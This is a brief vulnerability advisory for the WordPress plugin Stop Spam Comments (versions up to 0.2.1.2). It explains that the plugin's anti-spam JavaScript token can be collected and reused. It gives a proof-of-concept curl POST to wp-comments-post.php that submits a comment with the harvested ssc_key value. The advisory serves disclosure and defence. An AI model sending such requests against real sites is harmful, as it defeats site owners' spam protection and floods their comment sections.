Stop Spam Comments <= 0.2.1.2 - Access Token Bypass

2022-08-0800:00:00

Daniel Ruf

0.001 Low

EPSS

Percentile

40.3%

JSON

The plugin does not properly generate the Javascript access token for preventing abuse of comment section, allowing threat authors to easily collect the value and add it to the request.

Collect the name and value of ssc_key for the target post and use it on the request.

curl 'http://target.tld/wp-comments-post.php' -X POST --data-raw 'ssc_key_NAME=VALUE&comment=test&author=test&email=test%40test.tld&url=&submit=Post+Comment&comment_post_ID=1&comment_parent=0'

0.001 Low

EPSS

Percentile

40.3%

JSON

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